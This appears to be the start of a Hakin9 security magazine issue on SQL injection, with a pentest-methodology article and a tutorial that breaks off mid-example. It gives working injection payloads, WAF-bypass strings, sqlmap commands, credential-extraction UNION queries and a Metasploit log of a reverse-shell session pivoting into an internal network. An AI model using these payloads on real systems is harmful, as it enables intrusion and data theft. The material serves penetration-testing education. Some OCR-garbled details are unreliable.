

NJECTIO NHECTON 0 ECTIONE A CASE STUDY **S** THE MEANING OF SQL



[GEEKED AT BIRTH.]

PWR: 110%

[IT'S IN YOUR PULSE.]

LEARN

Advancing Computer Science Artificial Life Programming Digital Media Digital Video Enterprise Software Development Game Art and Animation Game Design Game Programming Human-Computer Interaction Network Engineering

www.uat.edu > 877.UAT.GEEK

Network Security Open Source Technologies Robotics and Embedded Systems Serious Game and Simulation Strategic Technology Development Technology Forensics Technology Product Design Technology Studies Virtual Modeling and Design Web and Social Media Technologies



You can talk the talk. Can you walk the walk?

PLEASE SEE WWW.UAT.EDU/FASTFACTS FOR THE LATEST INFORMATION ABOUT DEGREE PROGRAM PERFORMANCE, PLACEMENT AND COSTS.

WE'RE BUILDING AN A-TEAM. Have what it takes?



NOW HIRING PREMIUM CYBER TALENT



4901 Springarden Drive | Suite 200 | Baltimore, MD 21209 www.securityevaluators.com | 443.270.2296

CAREERS@SECURITYEVALUATORS.COM

ONDemanD team

Editor in Chief: Grzegorz Tabaka grzegorz.tabaka@hakin9.org

Managing Editor: Monika Łęczycka monika.leczycka@software.com.pl

Editorial Advisory Board: Board: Rebecca Wynn, Mat Jonkman, Donald Iverson, Michael Munt, Gary S. Milefsky, Julian Evans, Aby Rao

DTP: Ireneusz Pogroszewski

Art Director: Ireneusz Pogroszewski ireneusz.pogroszewski@hakin9.org

Proofreaders: Nick Baronian, Dan Dieterle, Bob Folden, Kelly Kohl, Michael Munt, Aby Rao, Jeffrey Smith

Top Betatesters: Keith Applegarth, Hammad Arshed, Ayo Tayo-Balogun, Manuel Boros, Amit Chugh, Dan Dieterle, Gregory Gallaway, M.Younas Iran, David Jardim, Michal Jachim, Eder Lira, Roh MacPherson, Matteo Massaro, Rissone Ruggero, Antonio Saporita, Daniel Sligar, Jeffrey Smith, Arnoud Tijssen, Tom Updegrove, Dan Walsh, Robert Wood, David von Vistauxx

Special Thanks to the Beta testers and Proofreaders who helped us with this issue. Without their assistance there would not be a Hakin9 On Demand magazine.

Senior Consultant/Publisher: Paweł Marciniak

CEO: Ewa Dudzic ewa.dudzic@hakin9.org

Production Director: Andrzej Kuca andrzej.kuca@hakin9.org

Publisher: Software Press Sp. z o.o. SK 02-682 Warszawa, ul. Bokserska 1 Phone: 1 917 338 3631 www.hakin9.org/en

Whilst every effort has been made to ensure the high quality of the magazine, the editors make no warranty, express or implied, concerning the results of content usage. All trade marks presented in the magazine were used only for informative purposes.

All rights to trade marks presented in the magazine are reserved by the companies which own them. To create graphs and diagrams we used smartdraweer program by smartDraw

Mathematical formulas created by Design Science MathType™

DISCLAIMER!

The techniques described in our articles may only be used in private, local networks. The editors hold no responsibility for misuse of the presented techniques or consequent data loss.

Dear Readers,

We are giving into your hands the first issue of Hakin9 On Deman. We hope you will enjoy it. In this type of Hakin9 we would like to collect for you some special articles and put them together. What is important is that our readers create this magazine. Yes! Indeed. If you have some ideas what topic should be presented in the next issue, please do not hesitate to write to us and share with it.

In this particular issue you will find lots of interesting information about SQL. The authors who prepared those amazing, absorbing articles for this issue are very experienced, resourceful, are experts and should be proud of themselves. We are sure that you will enjoy reading.

In the first issue Of Hakin9 On Demand you can read few articles about SQL. One of them is written by Dmitry Evteev. The article shows how endangered we are in our world when it comes to the information systems. This article tells you what is classic SQL Injection, Blind SQL Injection, Error-Based Blind SQL Injection, Double Blindness.

The second article is written by Michael Thumann, Frank Block, Timo Schmid. It concers the concept of SQL Injection in Business Purposes. By reading it, you can find out how SQL Injection is detected, how to take care of database, how exploit SQL Injection and get around Web Application Firewalls.

In the article written by Srinivasa Rao SQL Queries, exploiting MySQL databases, prevention techniques and many other details are included. Do you know that the attacker can inject some queries that the database server responds to him and gives whatever he wants? You may find out by reading it.

Moreover in this issue you will find article with the title SQL Injection: A Case Study. The authors of it – Stephen Bono and Ersin Domangue show how the attack is planned, bypassing the Log on, fingerprinting the SQL server and more. This is essential reading because it shows the mitigation, security practices which are very helpful.

From those articles you can find out what SQL Injection is and how danger it is. Do not hesitate to read them. You will find explanation for many important things.

Do not hesitate! Check the new idea of Hackin9 right now.

Enjoy the reading!

Monika Łęczycka and Hakin9 Team

SQL Injection Testing for Business Purposes

by Michael Thumann, Frank Block, Timo Schmid

SQL injection attacks have been well known for a long time and many people think that developers should have fixed these issues years ago, but having conducted web application pentests over a long period, we have a slightly different view. Many SQL injection problems potentially remain undetected due to a lack of proper test methodology, so we would like to share our approach and experience and help others in identifying these issues.

SQL Injection

14

06

by Srinivasa Rao

This article gives you a deeper idea of how to hack websites with SQL Injection vulnerability and how to prevent SQL injection attacks on websites. In this, we will see the manual injection techniques and secure coding practices in order to provide a practical approach of both attacks and countermeasures.

Advanced SQL Incjection in the Real 20 world

by Dmitry Evteev

These days, most information security experts are well aware of almost all the classes of typical threats and vulnerabilities of information systems. But so are hackers. This means that the information system properties, which an attacker can leverage to harm the system owner interests, have become common knowledge. Fortunately enough, quite a few public resources provide practical techniques for protecting information systems, as well as separate applications. In the field of web application security the most prominent communities are OWASP and WASC.

SQL Injection: A Case Study

by Stephen C. Bono and Ersin Domangue

30

SQL injection and associated vulnerabilities are possible due to three common, yet critical design flaws. Lack of input sanitization, unnecessary construction of dynamic queries, and failure to adhere to the Principle of Least Privilege. Through our case study, we demonstrate how each of these design flaws can lead to information or system compromise. 30-35

Caffe Latte Attack

36

by David Jardin

By reading this article, you'll learn: How does WEP work; How to Perform a "Caffe Latte" attack; How to protect your wireless access point from it.

In order to perform the attack, I assume you already have a running Backtrack distribution.

N.B: The author's aim is to share knowledge with readers in order for them to later protect themselves against such an attack. The author is not legally responsible for what the reader could do with said knowledge.

ONDemanD SQL Injection

Testing for Business Purposes

SQL injection attacks have been well known for a long time and many people think that developers should have fixed these issues years ago, but doing web application pentests almost all the time, we have a slightly different view. Many SQL injection problems potentially remain undetected due to a lack of proper test methodology, so we would like to share our approach and experience and help others in identifying these issues.

S QL injection vulnerabilities arise when untrusted input is incorporated into a SQL query within the source code and they are not limited to web applications. Every server application that processes SQL queries can be vulnerable to this kind of attack and should be tested. SQL injection vulnerabilities can be grouped into the following types:

Error-based SQL injection

When testing for the vulnerability the server responds with a database error message like "syntax error"

Blind SQL injection

During the test the server either doesn't reveal any error message at all or responds with a customized standard error message respectively just a change in the response behavior like showing another web page. As long as one can notice a different behavior of the application, we call this "Partially Blind SQL Injection", in case no changes in the response are detected we talk about "Totally Blind SQL Injection".

Client Side SQL injection

SQL injection vulnerabilities are not limited to server applications. Clients that store sensitive data in a local database can be vulnerable to SQL injection attacks as well, when untrusted input is processed. Also HTML5 implements concepts for client side databases like WebSQL (this specification is deprecated) and "Indexed Database API" to work with local databases within the web browser.

As already mentioned a proper test methodology can help to improve the rate of findings, e.g. Bruce Schneiers Attack Tree Model [1] comes to mind as helpful for summarizing the important steps to discover all SQL injection vulnerabilities within an application. Figure 1 shows a very basic attack tree for uncovering SQL injection.

Detecting SQL Injection

As described above, SQL injection vulnerabilities exist in different types. Each of these types requires different attack strings and detection mechanisms, and usually a high degree of manual testing for an extensive detection.

To detect SQL injections, you have to test with some simple signatures like a single apostrophe ('), two single apostrophes (''), arithmetic expressions or database specific procedures.

Error prone vulnerabilities which react with an error message on a single apostrophe are very simple to detect. The best way to verify a successful injection is inserting a single apostrophe which leads to an error message. Afterwards insert two single apostrophes, if the second injection doesn't return any error messages, it is very likely that a SQL injection vulnerability was found. In Oracle databases you would insert for example "test" in a search box and you get an error message returned. After inserting terilist you get all search results matching for the string test. If the database expects that an integer is supplied, apostrophes always result in an invalid query, no matter if they would be used with string concatenation or not. In such a case you could use some arithmetic calculations to verify that they were evaluated by the database. If the id 47 and 58-11 results in the same response, it is very possible that they both produced 47 as a result of a calculation by the database.

In Blind SQL injections you could use the same techniques, but you won't get any error messages telling you what happened on the database. Instead you may have to use boolean expressions to manipulate the results. For example inserting a "' OR "=" should lead to a result, whereas "' AND 'x'=" doesn't return anything (or only a very short response like no datasets found).

Because Totally Blind SQL injections normally wouldn't affect the response in any way, you have to detect them by measuring the response time depending on the test signature. On Oracle databases a request with ' ||utl http.request(`http://192.168.66.77/')||' should take much more time to return as "'||". If the response time is nearly the same, you should try other IP addresses or hostnames. A MySQL database supports a SLEEP command since version 5.0.12. If a you have to wait for a response 20 seconds after you had injected ' UNION SELECT SLEEP (20) -- you would automatically know that you have found a vulnerability and that the used database is a MySQL database with version 5.0.12 or higher.

Some times you will notice that the application (or some intermediate component) filters for characters like an apostrophe or an equal sign. In such a case you should try different encodings and combinations of encodings to bypass such filtering. If you communicate over HTTP with the server, URL encoded strings can be helpful. Try \$27 instead of "" "or several iterations like \$2527, \$252527, ... (\$25 is the URL encoded value of the percent sign). Especially on numeric comparisons you could use the lower or greater sign instead of the equal sign. An "OR 4<8" should also be evaluated to true like the standard signatures "OR 1=1" (which sometimes is filtered).

Choosing the right tool chain is crucial for detecting and exploiting SQL injections. For example the basic requirement for all injections is the complete control over the input values. A fat client or Ajax application which is communicating with a server may have some validation mechanisms, but the server itself accepts all input strings. In such a case it's important to send the requests using a proxy or something similar, which allows to send every modified value. One of the more powerful tools is the BurpSuite web proxy from Portswigger [2]. The BurpSuite acts as a proxy between the web browser and the web server, logging all requests and responses. In addition to an automated scanner it includes a repeater and a kind of automated repeater (called intruder). With the repeater you are able to send any inputs without restrictions on the client side. The intruder allows to iterate over multiple attack strings and compare the results.



Figure 1. A basic Attack Tree

)emai

In general every tool can be used which does not prevent you from sending malicious data. Automated tools like scanners or injection frameworks like sqlmap or sqlninia can help to find so called low hanging fruits. but they will never provide the same results as extensive manual testing.

Take Care of the Database

There are some database specifics, every pentester should be aware of, when testing for and exploiting SQLi vulnerabilities. Besides the different string concatenation variants already covered above, there are some other specifics that have to be considered and might turn out useful in some circumstances. For example with Oracle Databases, every SELECT statement needs a following FROM statement even if the desired data is not stored within a database. So when trying to extract e.g. the DB username using an UNION SELECT statement, the DUAL table may be utilized, which should always be available. Another point, if dealing with MySQL, is the possibility to simplify the classic payload

' or 1=1 --

to

' or 1 --

One important difference regarding totally-blind SQLi are the different ways for an equivalent MS-SQL "waitfor delay" in other database management systems.

For MySQL (before 5.0.42), the benchmark function may be used. E.g.:

```
benchmark(3000000,MD5(1))
```

For later versions:

sleep(5)

Respectively, Oracle supports an HTTP request function, which is expected to generate an delay if pointed to a non existing URL:

utl http.request('http://192.168.66.77/')

Alternatively, the following function may be useful:

DBMS LOCK.SLEEP(5)

Using database specific test and exploit signatures will also help to identify the used database, which makes all further tests much easier.

Another important difference is the missing MS-SQL xp cmdshell on other DBMSs. However, there were some talks in the past (e.g. at Black Hat Europe 2009 by Bernardo Damele A. G. the author of sglmap) about the possibility to execute code with MySQL respectively PostgreSQL under certain circumstances (sglmap supports upload and execution of Metasploit shellcode for MySQL and PostgreSQL). The Table 1 summarizes useful SQL functions.

How to Exploit SQL Injection

After identifying vulnerable parameters it is time for exploitation. There are some basic techniques for this task, which will be explained in the context of an Oracle DB.

As for data extraction one of the most useful statements is UNION SELECT.

However, the UNION SELECT approach doesn't work in all situations. If, for example, injecting right after the select statement (e.g. select \$input_column_name from tablename;) and not after a WHERE clause, trying to extract data with UNION SELECT leads most likely to an SQL error if you are unaware of the exact query. In this simple but sometimes occurring scenario, one solution would be the use of subselects. The advantage of subselects are the fact, that in many cases it is not necessary to know anything about the surrounding query. So supplying

Table 1. Comparison	Table		
type	MS SQL	Oracle	MySQL
String concat	+		CONCAT
timing	WAIT FOR DELAY	DBMS_LOCK.SLEEP	SLEEP
version	SELECT @@version	SELECT banner FROM v\$version	SELECT VERSION()
db user	SELECT suser_name()	SELECT Sys.login_user FROM dual	SELECT USER()
db name	SELECT db_name()	SELECT SYS_CONtEXT('USER_ENV','DB_ NAME')FROM dual	SELECT database()
column table	information_schema.colums	all_tab_columns	information_schema.columns
operating with os	xp_cmdshell		load_file
substring	SUBSTRING	SUBSTR	SUBSTRING
ascii value	ASCII	ASCII	ASCII

(SELECT user FROM DUAL)

the SQL query doesn't get broken and ideally prints the desired information. However if the payload is injected into a string, the previously covered string concatenation gets useful. So with a similar query, the attack string could look like:

'|| (SELECT user FROM DUAL) ||'

The previous examples depend on any form of results from the application. In case the application doesn't print any results of the SQL query, it may still be possible to gather database information if the application behavior can be influenced.

Given a registration form, where the supplied username gets checked for existence in the database, the used SQL query might look like:

```
SELECT username FROM users WHERE username = `$NEW_
USERNAME';
```

This kind of vulnerability is a boolean-based blind SQLi. It is not possible to print any SQL query results, but the application logic can be exploited. So the payload in this case might be:

`|| (SELECT CASE WHEN (SELECT 'abcd' FROM DUAL) =
`abcd' THEN 'new_username' else 'EXISTING_USERNAME' END
FROM DUAL) ||'

Or in pseudo code:

If abcd equals abcd return new_username else return EXISTING USERNAME

Obviously this payload does not provide any useful information by now, but it illustrates the possibility to make boolean checks on strings which will be helpful later on during/for extracting real data from the database.

How to get around Web Application Firewalls

In some situations, the application might filter specific attack strings or a *Web Application Firewall* (WAF) is deployed in front of the webservers/applications. In these cases, being creative is essential. For example, instead of injecting

' or 'a'='a

we already circumvented a WAF by supplying a slightly modified version of this payload:

' or 'a='='a=

If dealing with a MySQL database, using the previously mentioned attack string might also (and did already in practice) help to deceive some filters:

' or 1 --

It is also very likely, that one single quote doesn't cause any reaction, as of false positive prevention. If it does, the following variation could also help to get through the WAF:

abc'def

In general, using short test strings (and some brainpower) might help to not trigger any filtering rules.

If unsure whether a WAF is in place or not, it is advisable to first verify its existence with some fingerprinting tools. One of them is wafw00f [3] which supports many different vendors. Another tool is tsakwaf [4], which supports less vendors but includes additional features for WAF circumvention like encoding capabilities for test signatures, that might be useful for SQL injection testing, when a WAF is in place.

Extract the data

If you want to extract some data from a database you first need to gather knowledge about the internal structure of the database.

One of the first steps (after determining the database type) is enumerating the available tables and the corresponding columns. Most database systems have a meta database called information schema. By querying this database it is possible to get information about the internal structure of the installed databases. For example you could get the tables and their corresponding columns in MS SQL and MySQL by injecting SELECT table name, column name FROM information schema.columns. Oracle databases have their own meta tables, so you have to handle them differently. For getting the same output in Oracle, you have to query the all tab columns table (or user tab columns if you only want to search in the currently selected database). If the found vulnerability only allows to receive a single column (or if it is too complicated to identify two columns in the server response) you could concatenate the columns to one single string, e.g. in Oracle: SELECT table name ||':

'||column_name FROM all_tab_columns.

A much more frequent problem you have to deal with is that only the first row of a result-set is returned. To get all table and column names you have to iterate over the results. It is helpful to determine the expected row count first by injecting a SELECT COUNT(column_name) FROM all_tab_columns. Iterating over the results in MySQL is simple: SELECT table_name, column_name FROM information_ schema.columns LIMIT \$start,1 (where \$start denotes the

current offset in the result-set). MS SQL doesn't support to specify ranges for the results. This is why you have to combine several select statements to get the same result: "select TOP 1 table_name, column_name FROM (SELECT TOP \$start table_name, column_name FROM information_ schema.columns ORDER BY table_name DESC) ORDER BY table_ name ASC (where \$start denotes the row number you want to extract).

If you are confronted with a large database, it is always easier to search for interesting column names instead of tables. So you can combine the mentioned query statements with where clauses to search for columns which contain 'pass' or 'user'.

If the found vulnerability is a blind or totally blind SQL injection, you have to use boolean expressions to extract some data. One approach is getting the database username (or any other data) by doing a binary search with the procedures ASCII and SUBSTR.

For example on Oracle databases you would get the first character of an username by injecting ASCII(SUBSTR(username, 1,1)) into the where clause. To do a binary search on 'Admin' you would do ASCII(SUBSTR(username, 1, 1)) < 128 which results in true. The next value to compare with is 64 (which is right in the middle of 0 and 128). This time the query would fail because the ascii value of 'A' is 65. Now you compare with 96 (the middle of 64 and 128) and so on, until you reach 65. After that you will treat the remaining characters in the same way.

The following excerpt is an output from sqlninja (which will be covered again later on), which uses this technique in an automated way on a totally-blind SQLi vulnerability: Listing 1.

Listing 1. Excerpt vulnerable to a totally-blind SQLi

[...] if ascii(substring((select system user),1,1)) < 79 waitfor delay '0:0:5';</pre> _____ if ascii(substring((select system user),1,1)) < 55 waitfor delay '0:0:5'; _____ if ascii(substring((select system user),1,1)) < 67 waitfor delay '0:0:5'; if ascii(substring((select system user),1,1)) < 73 waitfor delay '0:0:5';</pre> _____ if ascii(substring((select system user),1,1)) < 76 waitfor delay '0:0:5';</pre> _____ if ascii(substring((select system user),1,1)) < 77 waitfor delay '0:0:5'; if ascii(substring((select system user),1,1)) < 78 waitfor delay '0:0:5';</pre> _____ if ascii(substring((select system user),1,1)) < 78 waitfor delay '0:0:5'; Here he found the first character: N and now continues with the second:

if ascii(substring((select system_user),2,1)) < 79 waitfor delay '0:0:5';</pre>

[...]

Essential Tools

As the manual extraction of data can be quite time consuming, the usage of automated tools becomes

essential. There are various tools that may help identifying and exploiting SQLi vulnerabilities. One of them is sqlmap[5], which concentrates on blind SQL

```
Listing 2. Meterpreter in action
[+] Transfering control to msfcli. Have fun!
[*] Please wait while we load the module tree...
# cowsay++
<metasploit>
\
                 /___/
            \ (00)_____
                           ) \
                        || - - || *
               =[ metasploit v4.2.0.8-dev [core:4.2 api: 1.0]
+ - - - - = [ 800 exploits - 435 auxiliary - 133 post
+ - - - - = [ 246 playloads - 27 encoders - 133 post - 8 nops
              =[ svn r14714 updated 5 days ago (2012.02.11)
playload => windows/meterpreter/reverse tcp
\port => 12345
\host => 172.16.141.1
[*] Started reverse handler on 172.16.141.1:12345
[*] Starting the playload handler ...
[*] Sending stage (752128 bytes) to 172.15.141.128
[*] Meterpreter session 1 opened (172.16.141.1:12345 -> 172.15.141.128:1040)
meterpreter > run get local subnets
local subnet: 172.16.60.0/255.255.255.0
local subnet: 172.16.141.0/255.255.255.0
meterpreter > background
[*] Backgrouding session 1 ...
msf exploit (handler) > route add 172.16.60.0 255.255.255.0 1
[*] Route added
msf exploit (handler) > route print
Active Routing Table
_____
    Subnet
                           Netmask
                                                 Gateway
                           . . . . . . . .
     . . . . . .
                                                            . . . . . . . .
    172.16.60.0 255.255.2 Session 1
msf exploit (handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary (tcp) > set RHOSTS 172.16.60.135
RHOSTS => 172.16.60.135
msf auxiliary (tcp) > run
[*] 172.16.60.135:135 - TCP OPEN
[*] 172.16.60.135:139 - TCP OPEN
```

Table 2. CWSS Metric Groups

Metric Group	Factors
Base Finding Group	 Technical Impact (TI) Acquired Privilege (AP) Acquired Privilege Layer (AL) Internal Control Effectiveness (IC) Finding Confidence (FC)
Attack Surface Group	 Required Privilege (RP) Required Privilege Layer (RL) Access Vector (AV) Authentication Instances (AI) Level of Interaction (IN) Deployment Scope (SC)
Environmental Group	 Business Impact (BI) Likelihood of Discovery (DI) Likelihood of Exploit (EX) External Control Effectiveness (EC) Remediation Effort (RE) Prevalence (P)

injection, it comes with many options and supports a lot of different Database Servers (amongst them MS-SQL, MySQL, Oracle and PostgreSQL) which is one of the reasons why it is covered in this article. The extraction process is very intuitive and sqlmap tries to identify automatically the sort of SQLi (Blind, totally blind ...) if not specified, so it is easy to get it up and running in a few minutes. We are not going into great detail, as this would go beyond the scope, but are showing a few commands which may already suffice to let sqlmap extract all available data from the database. Prerequisite for the following scenario is an already identified SQLi Vulnerability:

The first command tries to enumerate all available databases using the vulnerable parameter txtUserName:

sqlmap -u "http://172.16.141.128/vulnweb/SQLInjection/ Login.aspx" --data=__VIEWSTATE=dDwtNjI1NzM10Ts7Pv6HhHTC vfGeXKasVQXuFgQtgqym\&txtUserName=\&txtPassword=\&Button1 =OK --dbms=mssql --dbs -p txtUserName The next command enumerates all available table names of the found databases without the need to specify the database names as all gathered information are stored in a local progress file and automatically used for all further attacks:

(This feature becomes important as soon as the amount of already collected data gets vastly large.)

sqlmap -u "http://172.16.141.128/vulnweb/SQLInjection/ Login.aspx" --data=__VIEWSTATE=dDwtNjI1NzM10Ts7Pv6HhHTC vfGeXKasVQXuFgQtgqym\&txtUserName=\&txtPassword=\&Button1 =OK --dbms=mssql --tables -p txtUserName

After using the same command but with the -columns option instead of --tables, enough necessary information were gathered to identify potential interesting tables of which now data can be extracted from. As this process might sometimes last too long, it is also possible to search for specific column names like "password" with the --search option. If however time doesn't matter or the content is expected to be not very large, the --dump-all option may be used to extract all data contained in all databases.

As SQLi vulnerabilities enable an attacker not only to extract data, but sometimes also to execute system level commands, it is possible, and most tools offer such an option, to upload and execute binary files like e.g. netcat, resulting in an interactive shell with the same rights of the SQL server process (in the worst case root/administrative rights).

Going one step further, sqlmap respectively sqlninja (a handy and in some cases less buggier than some others, but MS-SQL only SQLi tool) are able to use the exploitation framework Metasploit, which offers various attack payloads like "Creation of an administrative user" or a "Reverse-TCP shell".

In that way it is for example possible, to upload the powerful Meterpreter payload using an existing SQL injection vulnerability within a web application. Once

Value	Code	Weight	Description
Proven True	Т	1.01.2000	The weakness is reachale by the attacker.
Proven Locally True	LT	0.8	The weakness occurs within an individual function or component whose design relies on safe invocation of that function, but attacker reachability to that function is unknown or not present. For example, a utility function might construct a database query without encoding its imputs, but if it is only called with constant strings, the finding is locally true.
Proven False	F	0.0	The finding is erroneous(i.e. The finding is a false positive and there is no weakness), and/or there is no possible attacker role.
Default	D	0.8-	Median of the weights for Proven true, Proven Locally True, and Proven False.
Unknown	Unk	0.5	
Not Applicable	NA	1.01.2000	This factor might not be applicable in an environment with high assurance requirements; the user might want to investigate every weakness finding of interest, regardless of confidence.
Quantified	Q		This factor could be quantified with custom weights. Some code analysis tools have precise measurements of the accuracy of specific detection patterns.

Table 3. CWSS Finding Confidence

References

- Schneier, Bruce (December 1999). "Attack Trees" . Dr Dobb's Journal, v.24, n.12. [1]
- BurpSuite Pro, http://www.portswigger.net/[2]
- The Truth about Web Application Firewalls, http://troopers09.org/content/e644/e649/TROOPERS09_gauci_henrique_web_application_firewalls.pdf [3]
- Tsakwaf, http://www.insinuator.net/2011/09/tsakwaf-0-9-1-released/[4]
- Sqlmap, http://sqlmap.sourceforge.net [5]
- Common Weakness Scoring System, MITRE Corporation, http://cwe.mitre.org/cwss/[6]
- SQL Injection Attacks and Defense, Syngress, ISBN-13: 978-1597494243 [7]
- The Web Application Hacker's Handbook 2nd Edition, Wiley, ISBN-13: 978-1118026472 [8]

started, Meterpreter enables system level access and can be used (depending on the rights of the database server process respectively the patch status of the underlying system) to extract system level data and utilize the database server as a jump host to an internal network or to exploit a local privilege escalation vulnerability to gain administrative rights (Listing 2).

An attacker uses an existing SQL injection vulnerability to upload and execute the meterpreter payload, then added a route entry within metasploit, making the internal network of the SQL server accessible through the meterpreter session and is now able to scan and attack systems behind the server, which would normally be not reachable from the attacker side.

Rating of the findings

After doing all the testing stuff, there's one important step missing, at least if we are talking about a professional pentest. The criticality rating of findings is a mandatory task in the course of a pentest. On the one hand, the comparative value of the rating must be guaranteed, on the other hand, the rating must be appropriate for the environment which is in scope of the pentest. Based on these requirements, we propose the Common Weakness Scoring System [6] as an appropriate metric for the rating of web application related security findings like SQL injection.

The design considerations of CWSS include the applicability for scoring processes as well as the integration of stakeholder concerns or environmental requirements. These considerations result in the definition of three different metric groups which each contain different factors: Table 2.

Different entities may evaluate separate factors at different points in time. As such, every CWSS factor effectively has "environmental" or "temporal" characteristics. Different pre-defined values can be assigned to each factor and each factor also has a default value. The different values for the single factors are explained in detail in Table 3. CWSS uses also a reliability factor, so the factor Finding Confidence is explained as an example.

All factors will be combined using a formula, which results in a value between 0 and 100. The higher

a weakness is scored, the higher is the associated criticality. Regarding the formula and the used factors and weights, the CWSS allows a precise, comparable, and reproducible rating of vulnerabilities in the context of web application pentests. The rating will also help the application owner to prioritize the findings and use the limited resources for the most critical issues.

Conclusion

Bringing the mentioned steps of the methodology together, you can follow a small checklist to identify all SQL injection issues in an application and help the application owner to mitigate the most severe problems. But every shortening of the test steps will have a negative influence on your success rate and the acceptance of the results:

- · Identify all input vectors
- · Test all input vector with a set of test signatures
- · Identify the database
- Exploit the SQL injection vulnerability to proof the existence and avoid any discussions
- Rate the criticality of the findings based on a metric

We are using this methodology since years and receive a lot of positive feedback from our customers.

Writing about SQL injection in an article obviously can't cover all relevant details, so we would like to recommend two books, that contain more useful information and are "must reads", if you want to work seriously in the field of web application pentesting. The first book [7] covers all aspects of SQL injection and the second one [8] is the "web hacking bible" written by the author of the BurpSuite.

MICHAEL THUMANN, FRANK BLOCK,

TIMO SCHMID, ERNW GMBH

ONDemanD SQL Injection

This article gives you a deeper idea of how to hack websites with SQL Injection vulnerability and how to prevent SQL injection attacks on websites. In this, we will see the manual injection techniques and secure coding practices in order to provide a practical approach of both attacks and countermeasures.

S QL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

In simple words, an attacker can inject some queries in such a way that the database server responds to him and gives whatever he wants.

Web application Architecture

A website receives an input from the user and produces the response as output. It can be logging you in to your account or it may show us an "invalid input" message if you are on a login form. A server is a place for storing information. A server contains one or more databases which produces the data dynamically (Figure 1).



Figure 1. A server contains one or more databases

SQL Queries

A SQL query allows a user to interact with the database. Several things can be done using SQL Queries. A Sample SQL Query:

SELECT * FROM users
WHERE username = \$_GET ['username']
AND password = \$_GET ['password']

This query tells the database to find rows in the users table where the values in the *username* and *password* columns equal the values entered by the user.

SELECT * FROM users

This piece tells the database to find the rows in the table users. * represents all the columns in the table (Figure 2).

Exploiting Databases with Simple SQL Injection

The following is the vulnerable piece of code which allows an attacker to insert his malicious SQL strings to gain access to the website.

Login Name	:	
PassWord	:	

Figure 2. Vulnerable piece of code may allow attacker to gain access to the website

SQL Injection

SELECT * FROM users WHERE username='admin'
AND password='password';

The above query will check whether the two input fields *username* and *password* returning true value or not. So an attacker can make use of it just by passing some specially crafted strings that bluffs the database.

The following query is a small example of it.

```
SELECT * FROM users WHERE username='admin';--
and password='password';
```

The query checks whether the username is admin or not and leaves the password field without verifying for the input.

- represents the end of the sql query. So the database thikns that the Query has been ended.

So the following query will be executed.

SELECT * FROM users WHERE username='admin';

Most of the time the following string enables an attacker to get into the site.

x' or x' = x

When we insert the above string in username and password fields, the query becomes as follows and returns true from both the fields which takes the user inside.

SELECT * FROM users WHERE username='x or 'x'='x' and password='x' or 'x'='x';

Exploiting MySQL databases with Advanced SQL Injection

SQL injection attacks are being increased and it is the most popular web application vulnerability now a days. It is very easy to exploit.

Checking for vulnerability

Lets us say we have a vulnerable website as follows *http://www.site.com/gallery.php?id=3*. To test for the vulnerability, we add single quote to it *http://www.site.com/gallery.php?id=3*'.

If any data is missing from the page or if it gives an error like the following, then it is vulnerable. This means the site has a SQL Injection vulnerability and it is accepting SQL Queries through its browser (Figure 3).

Finding the Number of Columns

To find out the number of columns, we use the statement order by x.

It tells the database to sort out the results based on the specified column $_{\times}$. Represents the end of the query.

http://www.site.com/gallery.php?id=3 order by 1-- ? No Error http://www.site.com/gallery.php?id=3 order by 2-- ? No Error http://www.site.com/gallery.php?id=3 order by 3-- ? No Error http://www.site.com/gallery.php?id=3 order by 4-- ? No Error http://www.site.com/gallery.php?id=3 order by 5-- ? Error

At order by 5, if we get a message something like "Unknown column 5 in order clause", it means that it has 4 columns and we got error at 5th column.

If we see some numbers on the screen, it means UNION works.

Checking for UNION function

The next step is to check for union function. It takes on or more select statements and returns as a single result.

http://www.site.com/gallery.php?id=3 UNION SELECT 1,2,3,4--

We already know that the number of columns is 4.

Checking for MySQL version

Depending on the results we got in the previous step, we will move further. Let us assume that it has displayed 3 on the screen. So to find out the version, we will replace the number 3 with version() or @@version.

```
http://www.site.com/gallery.php?id=3
UNION SELECT 1,2,00version,4-
```

In this case, if we get any error like union + illegal mix of collations (IMPLICIT + COERCIBLE), we need a $_{convert()}$ function.

http://www.site.com/gallery.php?id=3 union all select 1,2,unhex(hex(@@version)),4--

Version plays an important role in the attack. If MySQL version is less than 5, then attack is a bit difficult. Because, we need to guess the table names and column names. If it is greater than 5 it will be easier.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " at line 1

Figure 3. The site with the SQL Injection

FOR MySQL < 5

In this case, we need to guess the table names and column names. Common table names are: admin,login,user,users ,member,members Common column names are: userid,us ername,password,pwd,pass etc. So our query looks like

http://www.site.com/gallery.php?id=3 union all select 1,2,3,4 from admin-

Now if it displays any number on the screen, it means that the table name "admin" exists. So we can use the displayed number we will write a new query.

http://www.site.com/gallery.php?id=3 union all select 1,2,username,4 from admin-

If we get an error, it means that the column doesn't exist and we need to try with some other column name. If the column exists, it displays the username on the screen. So similarly, we can retrieve the password.

http://www.site.com/gallery.php?id=3 union all select 1,2,password,4 from admin-

FOR MySQL>5

In the case of MySQL databases having version greater than 5, we need to know about <code>information_schema</code>. It is a default database which holds metadata. It contains the table names and column names. So we use <code>information_schema</code> to get the table names and column names rather than guessing.

Finding out table names

http://www.site.com/gallery.php?id=3 union all select 1,2,table name,4 from information schema.tables-

Here we are replacing our number 3 with table_name to get the first table from information_schema.tables. We can add LIMIT to get the tables one after another. But I use group_concat(table_name) to get all the tables as a group.

http://www.site.com/gallery.php?id=3 union all select 1,2, group_concat(table_name),4 from information_schema.tables-

The above query gives us all the table names available in ${\tt information_schema}.$

Column names

To get the column names the method is same, we use table_name and information_schema.tables

http://www.site.com/gallery.php?id=3 union all select 1,2, group_concat(column_name),4 from information_schema.columns where table_name='users'- This may not work sometimes if MAGIC QUOTES is ON. It means admins won't allow us to access the table names directly by filtering the quotes. So, we need to use the ta blename in HEX format.

We can convert our clear text strings into HEX format from this site *http://www.swingnote.com/tools/ texttohex.php*.

Now in our case, the table name "users" becomes – 7573657273. And our query becomes:

 $\label{eq:http://www.site.com/gallery.php?id=3 union all select 1,2, group_concat(column_name),4 from information_schema.columns where table name='0x 7573657273'-$

 $_{\mbox{\tiny 0x}}$ represents HEX format. It tells the database that we are passing a string in HEX format.

Extracting Data

Let's say that we found columns, username and password. Now to complete the query we put them all together using <code>concat()</code>:

http://www.site.com/gallery.php?id=3 union all select 1,2
